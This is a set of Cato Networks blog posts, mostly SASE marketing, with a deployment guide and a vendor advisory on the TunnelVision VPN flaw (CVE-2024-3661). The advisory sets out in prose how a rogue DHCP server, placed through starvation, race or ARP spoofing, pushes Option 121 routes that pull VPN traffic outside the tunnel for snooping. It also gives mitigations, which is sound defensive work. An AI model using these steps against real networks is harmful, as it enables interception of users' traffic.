SASE is the ultimate business and technology transformation, and embarking upon this journey is an important step that every decision-maker will, understandably, have questions about. Are we compromising on anything? What risks might we face? Do we have the right skill set internally? Is it financially feasible? These are just a few of the key questions CxOs will pose when pursuing SASE. Asking them will provoke critical thinking and more holistic planning that includes all elements of IT and the broader organization. In the end, asking these questions will lead you to the obvious conclusion – a digital transformation platform like the Cato SASE Cloud solution is the best approach to prepare you for continuous business transformation without limitations.

7 Compelling Reasons Why Analysts Recommend SASE Gartner introduced SASE as a new market category in 2019, defining it as the convergence of network and security into a seamless, unified, cloud-native solution. This includes SD-WAN, FWaaS, CASB, SWG, ZTNA, and more.
A few years have gone by since Gartner’s recognition of SASE. Now that the market has had time to learn and experience SASE, it’s time to understand what leading industry analysts think of SASE? In this blog post, we bring seven observations from analysts who recommend SASE and analyze its underlying impact. You can read their complete insights and predictions in the report this blog post is based on, right here.
1. Convergence Matters More Than Adding New Features
According to the Futuriom Cloud Secure Edge and SASE Trend Report, “The bottom line is that SASE underlines a larger trend towards consolidating technology tools and integrating them together with cloud architectures.”
Point solutions increase complexity for IT teams. They also expand the attack surface and decrease network performance. SASE converges networking and security capabilities into a holistic and cloud-native platform, solving this problem.
Convergence makes SASE more efficient and effective than point solutions. It improves performance through single-pass processing, improves the security posture thanks to holistic intelligence, and simplifies network planning and shortens time to resolve issues with increased visibility.
2. SASE is the Ultimate “Convergence of Convergence”
SASE is convergence. Gartner Predicts 2022 highlighted how converged security delivers more complete coverage than multiple integrated point solutions. Converged Security Platforms produce efficiencies greater than the sum of their individual parts.
This convergence can be achieved only when core capabilities leverage a single pass engine to address threat prevention, data protection, network acceleration, and more.
3. SASE Supports Gradual Migration: It’s an Evolution, Not a Revolution
According to David Holmes, Senior Forrester Analyst, “SASE should be designed to support a gradual migration. There is definitely a way not to buy everything at once but start small and grow gradually based on your need and your pace.”
SASE is a impactful market category. However, this doesn’t mean enterprise IT teams should suddenly rearchitect their entire network and security infrastructure without adequate planning. SASE transformation can take a few months, or even a few years, depending on the organization’s requirements.

4. SASE is about Unification and Simpliciation
According to John Burke, CTO and Principal Analyst of Nemertes, “With SASE, policy environments are unified. You’re not trying to define policies in eight different tools and implement consistent security across context.”
With SASE, networking and security are inseparable. All users benefit from the holistic security and network optimization in SASE.
5. SASE Allows Businesses to Operate with Speed and Agility
According to Andre Kindnes, Principal Analyst at Forrester Research “The network is ultimately tied to business, and becomes the business’ key differentiator.”
SASE supports business agility and adds value to the business, while optimizing cost structures. IT can easily perform all support operations through self-service and centralized management. In addition, new capabilities, updates, bug fixes and patches are delivered without extensive impact on IT teams.
6. SASE is Insurance for the Future
According to John Burke, CTO and Principal Analyst of Nemertes, “It’s pandemic insurance for the next pandemic.”
SASE future proofs the business and network for on-going growth and innovation. It could be a drastic event like a pandemic, significant changes like digital transformation, M&A or merely changes in network patterns. SASE lets organizations move with speed and agility.
7. SASE Changes the Nature of IT Work from Tactical to Strategic
According to Mary Barton, Consultant at Forrester, “IT staff is ultimately more satisfied, because they no longer deploy to remote sites to get systems up and running.”
She also says, “The effect is IT morale goes up because the problems solved on a day-to-day basis are of a completely different order. They think about complex traffic problems and application troubleshooting and performance.”
The health of your network has a direct impact on the health of the business. If there are network outages or performance is poor, the business’ bottom line and employee productivity are both affected. An optimized network frees IT to focus on business-critical tasks, rather than keeping the lights on.
Cato Networks is SASE
According to Scott Raynovich, Founder and Chief Analyst at Futuriom, “Cato pioneered SASE, creating the category before it existed.” He added, “They saw the need early on for enterprises to deliver global, cloud-delivered networking and security. It’s a vision that is now paying off with tremendous growth.”

SASE Evaluation Tips: The Risk of Public Cloud’s High Costs on SASE Delivery David Heinemeier Hansson lays out the economic case for why application providers should leave the cloud in a recently published blog post. It's a powerful argument that needs to be heard by IT vendors and IT buyers, whether they are purchasing cloud applications or SASE services.
Hansson is the co-owner and CTO of 37Signals, which makes Basecamp, the project management software platform, and Hey, an email service. His "back of the napkin" analysis shows how 37Signals will save $1.5 million per year by moving from running its large-scale cloud software in the public cloud to running its cloud software on bare-metal hardware. If you haven't done so, I encourage you to read the analysis yourself.
Those numbers might seem incredible for those who've bought into the cloud hype. After all, the cloud was supposed to make things easier and save money. How's it possible that it would do just the opposite?
The cloud doesn't so much as reduce vendor costs as it allows vendors to get to market faster. They avoid the planning, deployment time, and investment associated with purchasing, shipping, and installing the hardware components, creating the redundancy plans, and the rest of what goes into building data centers worldwide. The cloud gives vendors the infrastructure from day one. Its elasticity relaxes rigorous compute planning, letting vendors overcome demand surges by spinning up more compute as necessary.
All of which, though, comes at a cost -- a rather large cost. Hansson realized that with planning, an experienced team could overcome the time to market and elements and elasticity requirements without the expenditures necessary for the cloud:
"…The main difference here is the lag time between needing new servers and seeing them online. It truly is incredible that you can spin up 100 powerful machines in the cloud in just a few minutes, but you also pay dearly for the privilege. And we just don't have such an unpredictable business as to warrant this premium. Given how much money we're saving owning our own hardware, we can afford to dramatically over-provision our server needs, and then when we need more, it still only takes a couple of weeks to show up.
The result: enormous capital savings (and other benefits).
From Productivity Software to Productive SASE Services
What Hansson says about application software holds for SASE platforms. A SASE platform requires PoPs worldwide. Those PoPs need servers with enough compute to work 24x7 under ordinary occasions and additional compute needed to accommodate spikes, failover, and other conditions.
It's a massive undertaking that takes time and planning. In the rush to meet the demand for SASE, though, many SASE players haven't had that time. They had no choice but to build out their SASE PoPs on public cloud infrastructure precisely because they were responding to the SASE market. Palo Alto Networks, for example, publicly announced their partnership with Google Cloud in 2022 for their ZTNA offering. Cisco announced its partnership with Google for global SD-WAN service. And they're not alone. With the purchasing of cloud infrastructure, those companies incur all the costs Hansson details.
[boxlink link="https://www.catonetworks.com/resources/inside-cato-networks-advanced-security-services/"] Inside Cato Networks Advanced Security Services | Download the White Paper [/boxlink]
Which brings us to Cato. Our founders started Cato in 2015, four years before SASE was even defined. We didn't respond to the SASE market; we invented it.
At the time, the leadership team, which I was fortunate enough to be part of, evaluated and deliberately avoided public cloud infrastructure as the basis for the Cato SASE Cloud. We understood the long-term economic problem of building our PoP infrastructure in the cloud. The team also realized that owning our infrastructure would bring other benefits, such as delivering Cato SASE Cloud into regions unserved by the public cloud providers.
Instead, we invested in building our PoPs on Cato-owned and operated infrastructure in tier-4 data centers across 80+ countries. Today, we continue with that philosophy and rely on our experienced operations team to ensure server supply to overcome supply chain problems.
High Costs Mean a Choice of Three Rotten Outcomes for Customers
Now, customers don't usually care about their vendors' cost structures. Well, at least not initially. But when a service isn't profitable because the COGS (cost of goods sold) is too high, there's only one of three outcomes, and none are particularly well-liked by customers. A company will go bankrupt, prices will grow to compensate for the loss, or service quality will drop.
Those outcomes are improbable if a vendor sells a service or product at a profit. The vendor may adjust prices to align with macroeconomics and inflation rates or decrease prices over time, sharing the economic benefit of large-scale operations with your customers. Or the vendor may evolve service capabilities and quality to meet customer needs better. Regardless, the vendor will likely be the long-term solution enterprise IT requires for networking or security solutions.
The Bottom Line Should Be Your Red Line
Using public clouds for large-scale cloud services allowed legacy vendors to jump into the then new SASE market and seemingly offer what any enterprise IT buyer wants – the established reputation of a large company with innovation that is SASE. It's a nice comforting story. It's also not true.
Building a SASE or application service on a cloud platform brings an excessively high COGS, as Hansson has pointed out. Eventually, that sort of deficit comes back to bite the company. Sure, a company may be able to hide its losses for a while. And, yes, if the company is large enough, like a Palo Alto Networks or Cisco, it's not likely to go out of business any time soon.
But if the service is too expensive to deliver, any vendor will try to make the service profitable – whether by increasing prices or decreasing service quality – and always at the customer's expense. Ignoring such a glaring risk when buying infrastructure and purchasing from a large vendor isn't "playing it safe." It's more like sticking your head in the lion's mouth. And we know how well that goes.

Deploying Cato SASE, Step by Step It's not uncommon for enterprises to find themselves in a situation where they've purchased new technology but are then faced with the hurdle of understanding what they've acquired and how to deploy it. This can often lead to confusion, deployment delays, and frustration with the new technology. Deploying the Cato SASE solution can be both simple and quick if you follow this checklist.
Planning
As with any new deployment, key stakeholder input and expertise will be required throughout the entire project. Those stakeholders can include members of management, security analysts, network engineers, application owners, and even your external partners (MSPs, VoIP, ISPs, etc.). The collaboration of this team will be crucial for the successful implementation of your Cato SASE platform.
The key deliverable from your planning meetings will be a formal SASE deployment plan, which will become the roadmap for your project. This will include key dates, milestone events, and success criteria for each milestone. The implementation plan should also remain somewhat flexible as sometimes external circumstances might require timelines or plans to change. In addition to the project timeline, the site deployment order, what SASE features will be adopted, and in what order those will be deployed.
Deployment
Once you have the completed and agreed-upon SASE deployment plan, you are ready to implement that plan. You should have received notification of access to the Cato Management Application (CMA), allowing you to start creating your sites and configuring your basic networking and security settings. It is a best practice to pre-configure your sites in the CMA before connecting the Cato Sockets or deploying IPSec tunnels to those locations. When the Cato Sockets arrive at your locations, you will be ready to connect them to the Internet and the Cato Cloud.
[boxlink link="https://www.catonetworks.com/resources/cato-sase-cloud-platform-sase-elegance-at-its-best/"] Cato SASE Cloud Platform: SASE Elegance at Its Best | Get it Now[/boxlink]
In addition to the locations around the world you are connecting via the Cato Cloud, you will also need to import your remote users to the CMA and deploy the Cato Software-Defined Perimeter (SDP) Client based on the deployment plan. Cato supports SCIM and LDAP sync for importing users and group membership data. Once the users are onboarded as Cato SDP users, like your sites, they will also use their closest point of presence (PoP) to connect to the Cato Backbone and have access to your corporate network worldwide.
Network Settings
After you have started deploying your sites, which often require minimal network configuration, several options are available that will help your organization adjust and scale your networking configuration in Cato. Some of these configuration options include:
DHCP
DNS
Bandwidth Management (QoS)
Link health
Configuring these settings in the CMA will push the configuration globally to all of the Cato PoPs to ensure that all your locations and users have the same global performance and experience.
Security Settings
Since Cato is a complete SASE solution, it includes such features as firewall-as-a-service, intrusion protection, anti-malware, and application control to name a few. Most of these features can be enabled with the flip of a switch in the CMA, and will require some configuration for policies, but otherwise work for basic protection right out of the box.
Cato’s firewall-as-a-service offers both an Internet and WAN firewall for external and internal traffic and operates in the Cato PoPs, removing most of the requirements for on-premise firewalls. The intrusion protection system uses a multi-layered approach to security, which includes reputation analysis, known vulnerability detection, anti-bot detection and blocking, and validation of network protocols to ensure traffic legitimacy.
Cato implements the SentinelOne Next-Gen Anti-Malware engine to provide a second layer of threat protection. This engine utilizes an AI model that detects anomalies in common file types that match known threats in its malware sample database. Machine learning then uses this information to match different features of both harmless and malicious files.
Since a vast amount of network traffic is encrypted, Cato offers TLS inspection as an option to decrypt, inspect, and re-encrypt traffic to ensure security even with encrypted traffic. Cato recommends using TLS inspection as a best practice to get the most out of the IPS, CASB, and anti-malware security modules.
Visibility and Integrations
Once you have deployed a few sites onto the Cato platform, you can see events and analytics flow into the CMA. These events are further processed into Cato XDR stories and displayed on the Stories dashboard. This data, combined with application and user awareness information, will offer a detailed view of your environment. With a SIEM-like experience in viewing and searching for events, your organization can utilize this rich and actionable data almost immediately after deploying your first site and users.

Cato Continues Expansion with New Global Headquarters Today is an exciting one for us here at Cato. We opened our new, state-of-the-art corporate headquarters in the scenic Sarona neighborhood of Tel Aviv, Israel. The new offices span 17,000 square meters, more than triple the size of our previous headquarters (also based in Sarona).
The increased office space reflects how far we’ve come since moving into the now-old offices five years ago. Back then, few had heard of SASE, our Points of Presence (PoP) count spanned just 27 locations, and company emails were still on only a first-name basis (first name at catonetworks.com). Today, SASE is, well, everywhere. The Cato SASE Cloud Platform spans 90+ PoP locations, and company emails have added last names. Today, our global team includes more than 1,000 employees, and we’ve grown our Israel headcount in the past year by 100+ positions to over 500 employees.
The new Cato Networks facilities will address that growth with ample workspace. More than 1,000 workstations will be available as private offices and open-area workspaces.
“Bright, inclusive, and collaborative – these are words often used to describe our people and culture. They also capture the essence of our new global headquarters,” said Shlomo Kramer, CEO and co-founder of Cato Networks.

Zehorit Mulshanski
The diverse work and collaboration spaces will meet the wide-ranging needs of Cato teams. There will be a recording studio for broadcast interviews and video production. An auditorium will be available to hold large gatherings. Numerous conference rooms and meeting areas will be available, bearing names from Cato’s PoP locations.
The new headquarters will also let Cato address the broader needs of “Catonians.”
“At Cato, we are committed to the well-being and experience of our employees,” says Zehorit Mulshanski, vice president of human resources at Cato. “This commitment is reflected in everything we do, from the construction of our offices to the wellness service we provide to the ergonomic chairs and desks that can be adjusted for standing work. These were all designed to support maximum convenience, productivity, cooperation, and collaboration."
Cato employees will benefit from breakfast catered by R2M and served daily. Cafeterias and kitchenettes situated at various locations across the floors will be fully stocked 24/7 with treats and fresh ingredients. A shake bar, a fully equipped gymnasium, exercise and yoga rooms, and showers will also be provided on-site to encourage employee health and well-being.
A Headquarters Befitting a Global Category Creator
Cato has led the SASE revolution, transforming how IT leaders deliver and consume network and security services. The elegance of the Cato SASE experience has propelled the company’s success, leading to 59% revenue growth in 2023 with the addition of more than 700 new enterprise customers. Overall, Cato services more than 2,400 enterprise customers worldwide including Carlsberg Group, BoydCAT, AFI Properties, and the TAG Heuer Porsche Formula E Team.
Cato brings that same focus on usability to its work environment, creating a collaborative, modern-designed workspace. The new facility spans six floors of the prestigious Landmark Tel Aviv. The commercial and residential complex features an iconic atrium connecting two office wings on either side. The atrium features the largest cable wall in Israel, 160 meters high. Bridges cross the atrium, connecting the floors with a larger bridge every ten floors as a common area, providing an easily accessible open area for “Catonians” to collaborate and relax.
Natural lighting is promoted throughout the complex. In addition to the atrium, the two wings feature external glass walls, allowing for naturally lighted workspaces and providing views of Tel Aviv and the Mediterranean Sea.

Sustainability is at the heart of the Cato SASE Cloud Platform and lies at the core of Landmark Tel Aviv. The building combines Double Skin Facade (DSF) facades with internal blinds, glazing with a low heat transfer coefficient, and high transparency (daylight input) to reduce the consumption of energy-efficient air conditioning systems. A fresh air flow meter controls how much fresh air enters the building. A low-lighting load design ensures energy savings while providing sufficient lighting. Parking for electric vehicles and 350 bicycles is planned.
“At Cato, we are building the next-generation IT security company,” says Kramer. “The new space was designed to equip our employees with everything they need so we can achieve that goal together.”

Cato Networks’ Impact and analysis of CVE-2024-3661 – “TunnelVision” VPN vulnerability On May 6th, 2024, researchers from the Leviathan Security Group published an article detailing a technique to bypass most VPN applications, assigned as CVE-2024-3661 with a High CVSS score of 7.6. Researchers have labeled this technique 'decloaking' as while the VPN tunnel remains connected, it allows attackers to trick many VPN clients into sending traffic via a side channel and not through the encrypted tunnel. Traffic flows through the side channel unencapsulated and can be snooped by an attacker.
The attack requires introducing a rogue DHCP server to the local network. This is not easy on well-maintained networks, that use trust zones and DHCP snooping features to prevent this attack vector. Notably, the threat of an adjacent attacker on the local network is not limited to DHCP alone, untrusted networks may impose various other threats, such as ARP poisoning, LLMNR poisoning, and so on.In the case presented in the article, the malicious DHCP server poisons the routing table of its neighbor on the local network. Taking advantage of the broadcast nature of DHCP communications, as well as the fact it is UDP based, i.e. little source verification is performed, the fabrication of responses is easily achieved and can be done in various ways.
Specifically, the response sent by the malicious server to a lease request sent on the local network utilizes option 121 [RFC 3442] - allowing the DHCP server to push classless static routes into the neighboring client routing table.
Cato Client impact and recommended actions
The affected operating systems are:
Windows
Linux
MacOS
iOS
* Android is unaffected by the technique since it does not implement support for DHCP Option 121 altogether.
For recommendations for Windows Client users, see below. We are additionally working on updates to the other affected operating systems and updates will be issued as they become available.
Cato customers using the Windows Client may use a registry key to enable the “Delete Static Routes” feature on the Client, effectively configuring the Client to delete all static routes that are not managed by Cato upon connecting.The configuration will take effect the next time the Client connects to the Cato cloud. If Always-On is enabled, users may need to bypass Always-On. For more information on how to bypass always on see here.Also, if there are legitimate reasons for static routes to be present, this configuration may conflict with those routes and should be considered.
Registry key details:Location - Computer\HKEY_LOCAL_MACHINE\SOFTWARE\CatoNetworksVPNName: DeleteStaticRoutesValue: 1 - (type: DWORD)
The below one-liner can be used as well on Windows or distributed using known methods such as MDM tools or GPO policies.reg add "HKEY_LOCAL_MACHINE\SOFTWARE\CatoNetworksVPN" /v DeleteStaticRoutes /t REG_DWORD /d 1 /f
To improve security in managed networks or in scenarios involving public or otherwise untrusted networks, these additional recommendations may be used to mitigate the vulnerability:
Mitigating DHCP attacks on local networks: Admins can enable configurations on network switches such as DHCP Snooping to protect the network from the introduction of a rogue DHCP server.
Use Cellular Hotspots: Using a cellular network instead of public Wi-Fi mitigates the risk, as the network is controlled by the mobile device.
Disable Option 121: Disable it on endpoints where possible, keeping in mind that this may disrupt some network connectivity.
Cato Networks is not aware of any malicious exploitation of its ZTNA using this technique.
Details of the attack
When a VPN client operates, it begins by creating an encrypted version of the original packet received from its virtual network interface. This encrypted packet is then encapsulated within the VPN protocol layer, allowing secure communication with the VPN server.
Upon establishing a connection with the VPN server, the VPN client modifies the host's network settings to route all traffic through this secure tunnel.
The Role of DHCP in Network Configuration
DHCP (Dynamic Host Configuration Protocol) plays a critical role in network management by automatically assigning IP addresses and configuring network settings for devices on a network, ensuring seamless connectivity and efficient use of IP address space.
One of the advanced features of DHCP is Option 121, introduced in RFC 3442. Option 121, also known as the “Classless Static Route Option”, allows network administrators to define classless static routes for clients, specifying routes with both the destination subnet and the gateway address. This capability enhances routing flexibility by enabling the precise direction of traffic to specific subnets, improving network efficiency and control. For example, administrators can use Option 121 to route traffic for a particular subnet through a different gateway than the default, optimizing network traffic flow and enhancing security measures by directing traffic through designated security appliances or monitoring systems.
Methods of exploitation
The prerequisite is for an attacker to have his own malicious DHCP server in the network and for targeted users to treat it as the legitimate DHCP.
There are several methods by which an attacker on the same network as the targeted user can position themselves as the DHCP server:
DHCP Starvation Attack: By using a rogue DHCP server to perform a DHCP starvation attack against the legitimate DHCP server, the attacker can exhaust available IP addresses and respond to new clients.
Race Condition Exploitation: The rogue DHCP server can race to respond to DHCPDISCOVER broadcasts, taking advantage of the common client behavior of accepting the first lease offer received.
ARP Spoofing: The attacker can use ARP spoofing to intercept traffic between the legitimate DHCP server and clients, then wait for clients to renew their leases, redirecting them to the rogue DHCP server.
Attack Execution
Once a malicious DHCP is deployed on the same network as the targeted VPN user. The malicious server is configured to use itself as the default gateway. When traffic reaches this gateway, traffic forwarding rules are applied to relay it to the legitimate gateway, allowing traffic to be monitored/inspected while traversing through the malicious server, effectively performing an Adversary-in-the-Middle (AitM) attack.
Utilizing DHCP Option 121
A crucial part of the attack involves leveraging DHCP option 121 to inject custom routes into the VPN user’s routing table. Arbitrary routes can be set, and if needed, multiple routes. By pushing routes more specific than the default /0 CIDR range used by most VPNs, it is ensured that these routes have higher priority than those for the VPN’s virtual interface. For instance, by setting two /1 routes, the attacker can override the 0.0.0.0/0 all-traffic rule set by most VPNs.
Injecting these routes causes network traffic to be directed through the same interface as the rogue DHCP server, bypassing the VPN’s virtual interface. As a result, the traffic routed this way is not encrypted by the VPN and is instead transmitted via the network interface interacting with the DHCP server.
Summary
The "decloaking" technique highlights a vulnerability in VPN applications, allowing attackers to reroute traffic outside the encrypted tunnel. By exploiting DHCP and specifically Option 121, attackers can manipulate routing tables and compromise network security.The attack is not trivial to carry out, especially on well-maintained networks, and does not directly compromise the user, rather putting the attacker in a position to snoop on the traffic, which in most scenarios is already encrypted, e.g. HTTPS/TLS, before passing in the VPN. This discovery underscores the importance of securing DHCP configurations and being vigilant on public networks.

Unmasking the Challenges of Blocking Malicious IP Addresses: Overcoming the Unknown In the ever-evolving threat landscape, identifying and blocking malicious IP addresses is an essential defense mechanism. However, this task presents unique challenges that demand careful consideration and innovative approaches.
Unlike domain names, the registration details for IP addresses are less transparent, making it more challenging to access ownership information, registration dates, and the responsible parties. Like domains, IP addresses are registered and can be queried through WHOIS services managed by registrars such as RIPE and ARIN. Nevertheless, the information available for IP addresses is often more obscure compared to the detailed records accessible for domain names.
This distinction significantly impacts the ability to assess and validate the entities behind IP addresses. Additionally, another obstacle arises with dynamic IPs, where the IP address of a device changes periodically, making it harder to track and block malicious activity effectively. It becomes even more challenging when an IP address serves as a shared hosting platform or a cloud provider, accommodating both legitimate and non-legitimate sources.
In this blog post we aim to shed light on the challenges of blocking malicious IPs and effective strategies to overcome them without blocking legitimate traffic.
The challenges
The absence of a comprehensive registration process for IP addresses hampers efforts to obtain ownership details, registration dates, and signers, creating difficulties in establishing accountability. Figure 1 presents the absence of readable information available from WHOIS service when researching IP addresses.
Figure 1: Limited Information on IP Addresses from WHOIS Service.
A couple phenomena of IP usage across the internet add a layer of complexity to correct identifications:
Dynamic IP addresses - often used by ISPs to move an IP between customers when it is no longer in use, making it harder to track and block malicious activity effectively. The constant fluctuation of IP addresses demands adaptable solutions capable of keeping pace with these changes.
Shared IP addresses - commonly used in shared hosting environments, where multiple websites and domains are hosted on the same IP address. This means that a single IP address can host both legitimate and non-legitimate sources simultaneously. Content Delivery Networks (CDNs), which use shared hosting to quickly and efficiently spread content across the internet, handle these shared resources with sophisticated mechanisms. These mechanisms ensure the swift delivery of content while attempting to mitigate security risks.
However, in the context of blocking systems, a false positive (blocking a legitimate site) is often considered more detrimental than a false negative (allowing a malicious site through). Hence, when faced with a situation where both legitimate and non-legitimate sites are hosted on the same IP, a cautious approach is necessary. Instead of solely relying on the IP address for blocking, it is imperative to employ different parameters and indicators to accurately identify and block the specific malicious target while ensuring uninterrupted operation for legitimate sites.
Figure 2 demonstrates that a significant portion of IP addresses, approximately a quarter, is associated with multiple domains. This shared hosting scenario can involve thousands of diverse domains, as shown in the accompanying map on the right.
Figure 2: Distribution of Servers IPs by Number of Shared Domains
Refer to Figure 3 for an illustration of a shared hosting IP address hosting both a highly malicious phishing site - ultrasafe.co.in and a legitimate business and economy site - skygo.in.
This IP is managed by eWebGuru, a hosting service provider that allocates server resources to various clients. This example highlights the challenges in cybersecurity within shared hosting environments, where both benign and harmful sites can coexist on the same server.
Figure 3: Shared Hosting IP Address Hosting Multiple Domains.
Identification & Blocking Strategies
There are multiple strategies to take into consideration when tackling the above challenges, let's explore these strategies in detail:
From a network perspective
Analyzing the DNS lookup name associated with an IP address can provide valuable insights into the nature of the IP. Empty records or cases where the IP address string itself is returned instead of a regular host name, can serve as indicators of suspicious activity.
Examining the destination port used by the IP address can also yield valuable information. For example, the use of destination port 445 (SMB) over the internet is unlikely to be legitimate, and can raise suspicions about the IP's malicious intent.
From a Threat Intelligence perspective
Another strategy involves leveraging threat intelligence from multiple sources. Combining different threat intelligence feeds that all point to the same IP address as malicious can significantly increase confidence in its classification.
Collaborative Information and tracking approach
Malicious IP addresses often have low popularity, meaning they receive a minimal portion of traffic compared to more widely used addresses. In the context of IP addresses, popularity refers to how often a specific IP address is accessed by users. A low-popularity address means it is rarely visited, unlike well-known sites. This lower visibility is a characteristic that can help distinguish them from legitimate sources. However, an issue arises when, for example, a new Microsoft server or any other legitimate entity is assigned a new IP address. Initially, this IP address would fall into the category of addresses with low popularity, potentially leading to a false assumption of malicious intent. To address this concern, it becomes crucial to employ a powerful and final strategy.
To gain more confidence in the classification of an IP address, it is necessary to track its popularity over more than one day. By observing the IP address's behavior and monitoring its popularity over time, it becomes possible to assess whether its popularity remains consistently low, which would indicate a higher likelihood of it being associated with malicious activity. This multi-day tracking approach provides a more comprehensive understanding of the IP's patterns and helps mitigate the risk of false positives while strengthening the accuracy of IP blocking decisions.
By implementing these strategies, organizations can enhance their ability to identify and block malicious IP addresses effectively while minimizing the risk of blocking legitimate sources. These techniques provide a comprehensive understanding of IP behavior, improving the overall security posture and reducing the impact of potential false positives.

SASE for Retail: Growing the Bottom Line Retail and hospitality businesses prioritize delivering exceptional customer service and growing revenue. Just as their mission relies on a service-oriented staff and quality products, it also requires secure and reliable connectivity. A high performing and secure network enables retailers to offer consistent and positive consumer interactions across online and physical stores around the world. This includes offering services such as e-commerce platforms, secure online payment processing, and digital customer support, while ensuring the protection of customer data and compliance with global privacy standards.
Networking and Security Challenges Retailers are Facing
Until recently, MPLS and VPNs were popular solutions of choice for many retailers. However, modern needs and threats require a new approach. Some of the new challenges retailers are dealing with include:
Unstable Connectivity Across Locations - Retailers require fast, secure connections across various global locations. This includes stores, branches, data centers, headquarters, and more. A high-performing network enables them to communicate, check inventory status, and process credit card transactions, among other activities. However, traditional MPLS or VPNs are costly, with limitations in reliability and security, lacking the scalable model necessary for modern retailer growth.
Security Threats and Risks - Retailers are dealing with organized threat actors and insider threats. According to the Verizon DBIR 2023, retailers are susceptible to ransomware, use of stolen credentials and even attackers embedding malicious code in checkout pages. In 2021, the average cost of a retail data breach was $3.27 million, per the IBM Cost of a Data Breach report.
High Costs, Low Productivity - Retailers need to reduce expenses while improving efficiency. However, MPLS is pricey, VPNs are complex, and using the public Internet often leads to performance issues due to ISPs prioritizing cost over quality.
Complex Tech and Administrative Management - Retailers need high-performing and secure systems, to support business platforms and customer-facing needs like self-checkout. However, handling the tech stack—procurement, management, updates—is complicated, and transferring services to the cloud can be as well.
The Solution to Retail Challenges: SASE
SASE (Secure Access Service Edge) is a network architecture that converges security services and networking capabilities into a single cloud service. SASE represents a shift in the way enterprises handle networking and security, moving away from traditional, hardware-based models to a cloud-native, as-a-service model. This provides organizations with more high-performing, scalable and secure networking solutions, which are simpler to use and manage.

SASE answer retails challenges by providing:
Reliable Global Connectivity
Rather than using MPLS or other networking solutions, SASE provides built-in SD-WAN. SD-WAN ensures reliable connectivity via commodity broadband links and 4G/5G wireless connectivity. Globally, traffic is routed over a global private backbone with QoS bandwidth prioritization policies, TCP acceleration and packet-loss mitigation, to reduce latency, packet loss, and jitter.
Enhanced and Comprehensive Security
SASE provides holistic, full-stack security including FWaaS, CASB, DLP, SWG and ZTNA, within a unified, cloud-native service. This ensures access policies are applied, wi-fi is filtered, and retailers maintain data sovereignty and PCI compliance.
Cost-effective and Productivity Boosting
SASE offers an alternative to the costly, inflexible, and capacity-limited MPLS networks, as well as the unreliable Internet, reducing the cost per megabit. In addition, performance is enhanced, ensuring data flow to both on-site and cloud-based applications is optimized to its fullest potential. From a business standpoint, fast and effective communication allows operations to run more smoothly, enhancing sales.
Quick and Simple Deployment
SASE simplifies the process of linking multiple sites, regardless of their size, through a straightforward, single client or socket that's effortless to set up. This eliminates the necessity for numerous devices and, consequently, makes managing the network easier.
In addition, traffic flows directly to a network of cloud-native PoPs within the SASE framework, which can easily integrate with public cloud services in just a few steps. This network grants IT departments visibility into the flow of network traffic. Moreover, the whole setup is designed to scale effectively while remaining economically viable. For ongoing operations, an easy-to-understand UI and single management portal allow for easy and efficient management.
Conclusion
SASE provides retailers with connectivity and security that doesn’t add to complexity, administrative burdens, or expenses. On the contrary, SASE allows retailers to reduce disruptions and offer a positive customer experience that will boost sales. This is achieved through the cloud's agility and flexibility, advanced security features and management simplicity across sites and locations.

Cato CTRL Issues New SASE Threat Report Threat actors are always evolving. Whether it is nation-state actors, cybercrime groups, ransomware gangs, or niche teams targeting specific systems – new tools, techniques, and procedures are constantly introduced by attackers. Stopping those threats is challenging in large part because Cyber Threat Intelligence (CTI) remains fragmented. Telltale threat indicators are often available but spread across the threat information and network activity of inbound (and outbound) internet traffic, WAN traffic, cloud traffic, and remote user traffic.
Until the Cato SASE Cloud Platform, gaining 360-degree visibility was difficult, if not impossible, for most enterprises. This is why Cato has started Cato CTRL, Cato’s CTI group. By tapping the full power of Cato, Cato CTRL helps organizations with tactical data for the SOC, operational threat intelligence for managers, and strategic briefings for management and the board.
As part of that work, Cato CTRL routinely reports trends and significant events shaping the security industry. To those ends, Cato CTRL is excited to introduce the first of its revamped Cato CTRL SASE Threat Reports. The report summarizes the findings Cato CTRL gathered from Cato traffic flows across more than 2,200 customers, 1.26 trillion network flows, and 21.45 billion blocked attacks during the first quarter of 2024. (To put that in context, that’s nearly four times more flows than the 350 billion flows we analyzed for Q1 2022.)

What Makes Cato SASE Cloud Excellent for CTI?
Sharp-eyed readers will note that we said revamped report. Cato has long collected and reported on threat trends in the industry. However, we wanted to expand our scope of research and tap the full power of the Cato SASE Cloud.
As the global network to over 2200 enterprises, the Cato SASE Cloud Platform gathers insight into what’s happening on enterprise networks across multiple industries and countries. Cato stores the metadata of every traffic flow from every endpoint communicating across the Cato SASE Cloud platform in a massive data lake, which is further enriched with hundreds of security feeds and analyzed by proprietary ML/AI algorithms and human intelligence.
The result is a unique data repository providing Cato CTRL insights into security threats and their identifying network characteristics for all traffic, regardless of whether it emanates from or is destined for the Internet or the WAN, for all endpoints—sites, remote users, and cloud resources. Even where Cato’s multitiered defense strategy has blocked the attack, the threats are logged and identified, enabling this kind of analysis.
The new report contains trends and insights into how enterprises and associated industries are faring with mitigated CVEs, suspicious events to be aware of, and common enterprise security behaviors. We’ve also gathered insights from the dark web and hacking communities, particularly around the use of AI tools by threat actors. Finally, we provide practical advice on how to mitigate the threats and address the limitations discussed in the report.
The Key Findings
Some of the key findings from this 30+ page report include:
AI takes the enterprise by storm. The most common AI tools used among enterprises were Microsoft Copilot, OpenAI ChatGPT, of course, and one other that we think you likely want to know about.
Get a peek into the hacker underground. As part of its research, Cato CTRL monitors fascinating discussions from various hacker forums. The report found attackers are using LLM to enhance existing tools like SQLMap to be more efficient in finding and exploiting vulnerabilities. We spotted advertisements for services for generating fake credentials and creating deep fakes. We also continued to monitor recruitment to create a malicious ChatGPT.
Beware of where you shop. Threat actors are setting up domains that mimic well-known brands. We identified the most spoofed brands so you can configure the right filters to protect your users.
Enterprises are too trusting within their networks. Many enterprises continue to run unsecured protocols across their WAN—62% of all web traffic is HTTP, 54% of all traffic is telnet, and 46% of all traffic is SMB v1 or v2. As such, once threat actors penetrate a network, they will have less of a problem snooping critical data in transit across the network. Lateral movement—where attackers will move across networks—was identified particularly in the agriculture, real estate, and travel and tourism industries.
Zero-day is the least of your problems. While we in the industry pay a lot of attention to zero-day threats the reality is threat actors are often trying to exploit unpatched systems, eschewing using the latest vulnerabilities. Three years after its discovery, there’s one CVE that remains one of the most used exploits. Check out the report to see which one it is.
